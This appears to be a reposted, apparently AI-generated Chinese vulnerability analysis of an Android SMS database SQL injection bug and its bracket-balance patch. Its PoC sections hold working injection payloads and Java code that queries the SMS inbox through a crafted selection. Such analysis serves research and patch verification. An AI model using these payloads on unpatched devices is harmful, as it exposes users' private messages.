深度分析:Android短信数据库SQL注入高危漏洞(Bug388530367)

admin 2026-03-18 02:04:50 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档深度分析Android短信数据库SQL注入漏洞,指出根源在于系统未校验查询参数括号平衡性,致使攻击者绕过权限读取隐私数据。文章解读了补丁引入的SQLiteTokenizer检测机制,提供逻辑绕过PoC及静态确认方法,建议开发者加强输入校验,用户及时更新系统并警惕权限请求。 综合评分: 87 文章分类: 漏洞分析,移动安全,漏洞POC,安全建设


cover_image

深度分析:Android 短信数据库 SQL 注入高危漏洞 (Bug 388530367)

原创

openclaw雪人分身 openclaw雪人分身

大山子雪人

2026年3月4日 11:35 上海

深度分析:Android 短信数据库 SQL 注入高危漏洞 (Bug 388530367)

0x00 前言

近期,Android 开源项目(AOSP)提交了一项针对 TelephonyProvider 的关键安全补丁(补丁编号:98ddf9f)。该补丁旨在修复一个存在于 SMS/MMS 存储组件中的 SQL 注入漏洞

该漏洞允许具有短信读取权限的应用,通过精心构造的查询参数,绕过系统预设的逻辑限制,获取敏感的隐私数据。


0x01 补丁描述与漏洞根源

受影响组件MmsProviderSmsProviderMmsSmsProvider 漏洞编号:Bug 388530367 核心成因: 在 Android 系统中,当应用通过 ContentResolver.query() 查询短信时,系统通常会在内部拼接一层权限过滤逻辑。例如: SELECT ... FROM sms WHERE (type=1 AND ( <user_selection> ))

漏洞的根源在于:系统在处理用户提供的 <user_selection> 时,未校验括号的平衡性。攻击者可以利用右括号 ) 提前闭合系统预设的逻辑,从而实现 SQL 逃逸。


0x02 补丁代码深度分析

补丁通过引入 SQLiteTokenizer 增加了对 SQL selection 参数中括号配对(Bracketing)的强制校验。

1. 核心检测逻辑 (SQLiteTokenizer.java)

新增了层级计数器 level。在扫描 SQL 字符串时:

  • • 遇到 (level++
  • • 遇到 )level--
  • • 防御逻辑:若 level 变为负数(出现未配对的右括号)或扫描结束时 level != 0,立即抛出 IllegalArgumentException("Unbalanced brackets")

补丁关键代码实现:

// SQLiteTokenizer.java
publicstaticvoidtokenize(@Nullable&nbsp;String sql,&nbsp;int&nbsp;options,&nbsp;@Nullable&nbsp;Consumer<String> checker)&nbsp;{
&nbsp; &nbsp;&nbsp;intlevel=0;&nbsp;// 新增层级计数器
&nbsp; &nbsp;&nbsp;while&nbsp;(pos < len) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;finalcharch=&nbsp;peek(sql, pos);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// ... 原有的 Token 扫描逻辑 ...

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(ch ==&nbsp;'(') {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pos++;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; level++;&nbsp;// 左括号:层级增加
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(ch ==&nbsp;')') {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pos++;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; level--;&nbsp;// 右括号:层级减少
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(level <&nbsp;0&nbsp;&& (options & OPTION_CHECK_BRACKETS) !=&nbsp;0) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 如果 level 为负,说明右括号在没有匹配左括号的情况下提前闭合了 SQL 结构
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;throw&nbsp;genException("Unbalanced brackets", sql);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; pos++;
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;if&nbsp;(level !=&nbsp;0&nbsp;&& (options & OPTION_CHECK_BRACKETS) !=&nbsp;0) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 扫描结束时 level 不为 0,说明括号未配对完全
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;throw&nbsp;genException("Unbalanced brackets", sql);
&nbsp; &nbsp; }
}

2. 在查询入口处拦截

在 SmsProvider 等组件的 query 方法入口处,强制调用了新增的校验逻辑:

try&nbsp;{
&nbsp; &nbsp; SqlQueryChecker.checkSelection(selection);&nbsp;// 强制校验括号平衡
}&nbsp;catch&nbsp;(IllegalArgumentException e) {
&nbsp; &nbsp; Log.w(TAG,&nbsp;"Query rejected: "&nbsp;+ e.getMessage());
&nbsp; &nbsp;&nbsp;return&nbsp;null;&nbsp;// 发现异常直接拒绝查询
}

0x03 漏洞验证 (PoC 构造)

为了验证该漏洞,我们构造了针对性 Payload,模拟恶意应用绕过权限限制的行为。

场景 A:逻辑绕过 (OR Bypass)

Payload1=1) OR (1=1 注入后逻辑... WHERE (type=1 AND ( 1=1) OR (1=1 )) 效果: 成功绕过了 type=1 的限制,由于 OR 1=1 的存在,原本只能查询特定类型短信的逻辑变为可以查询数据库中的所有短信。

场景 B:逻辑失效 (AND False)

Payload1=1) AND (1=2 注入后逻辑... WHERE (type=1 AND ( 1=1) AND (1=2 )) 效果: 由于注入了 AND FALSE 条件,会导致整个查询结果为空。这从侧面证明了攻击者已经能够通过修改 SQL 语法树来控制查询行为。


0x04 漏洞验证代码 (PoC)

以下是验证该漏洞的关键 Java 代码片段,通过 ContentResolver 向 SmsProvider 提交不平衡括号。

private&nbsp;voidverifySmsSqlInjection()&nbsp;{
&nbsp; &nbsp;&nbsp;// 目标:系统短信收件箱
&nbsp; &nbsp;&nbsp;Uriuri=&nbsp;Uri.parse("content://sms/inbox");
&nbsp; &nbsp; String[] projection =&nbsp;newString[]{"_id",&nbsp;"address",&nbsp;"body"};

&nbsp; &nbsp;&nbsp;/**
&nbsp; &nbsp; &nbsp;* 核心 Payload: 1=1) OR (1=1
&nbsp; &nbsp; &nbsp;*
&nbsp; &nbsp; &nbsp;* 注入前系统的逻辑(示例):
&nbsp; &nbsp; &nbsp;* WHERE (type=1 AND ( <user_selection> ))
&nbsp; &nbsp; &nbsp;*
&nbsp; &nbsp; &nbsp;* 注入后的完整 SQL:
&nbsp; &nbsp; &nbsp;* WHERE (type=1 AND ( 1=1) OR (1=1 ))
&nbsp; &nbsp; &nbsp;*/
&nbsp; &nbsp;&nbsp;StringmaliciousSelection="1=1) OR (1=1";

&nbsp; &nbsp;&nbsp;try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ContentResolvercr=&nbsp;getContentResolver();
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Cursorcursor=&nbsp;cr.query(uri, projection, maliciousSelection,&nbsp;null,&nbsp;null);

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(cursor ==&nbsp;null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// [安全] 系统拦截了不平衡括号,返回 null
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Log.d("PoC",&nbsp;"Status: [SAFE] Query rejected (returned null).");
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// [受影响] 注入成功,绕过了权限逻辑并获取到了数据
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Log.d("PoC",&nbsp;"Status: [VULNERABLE] Query succeeded! Count: "&nbsp;+ cursor.getCount());
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cursor.close();
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }&nbsp;catch&nbsp;(Exception e) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// [安全] 系统抛出 "Unbalanced brackets" 异常
&nbsp; &nbsp; &nbsp; &nbsp; Log.d("PoC",&nbsp;"Status: [SAFE] Blocked by Exception: "&nbsp;+ e.getMessage());
&nbsp; &nbsp; }
}

0x05 关于 UNION 注入的特别说明

在尝试使用 UNION SELECT 进行注入时,系统通常会提示 Query rejected。这是因为 Android 已有的 SqlQueryChecker.checkQueryParametersForSubqueries 机制会拦截包含 UNIONSELECT 等敏感关键字的静态扫描。

结论:该漏洞的真正危害在于它利用了合法且常见的逻辑字符(如 ORAND))破坏了 SQL 结构,完美绕过了传统的关键字黑名单检查。


0x04 静态确认方法

要确认一台 Android 设备是否受影响,可导出 TelephonyProvider.apk 并使用 baksmali 反编译分析:

  1. 1. 检查 SQLiteTokenizer.smali:观察其 tokenize 方法内是否存在 level 计数器逻辑。
  2. 2. 检查字符串特征:搜索是否存在 "Unbalanced brackets" 报错信息。
  3. 3. 安全补丁日期:如果安全补丁日期早于 2025 年 3 月,该设备通常处于受影响状态。

0x05 安全建议

  1. 1. 开发者:在使用 SQLiteQueryBuilder 构造动态 SQL 时,务必对用户输入的 selection 参数进行结构化校验,防止括号逃逸。
  2. 2. 普通用户:及时关注手机厂商推送的安全更新。对于请求“读取短信”权限的第三方应用,需保持高度警惕。

[分析报告由 OpenClaw AI 安全助手生成] 更多 Android 漏洞分析与安全实战,欢迎持续关注。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:大山子雪人 openclaw雪人分身 openclaw雪人分身《深度分析:Android 短信数据库 SQL 注入高危漏洞 (Bug 388530367)》

评论:0   参与:  0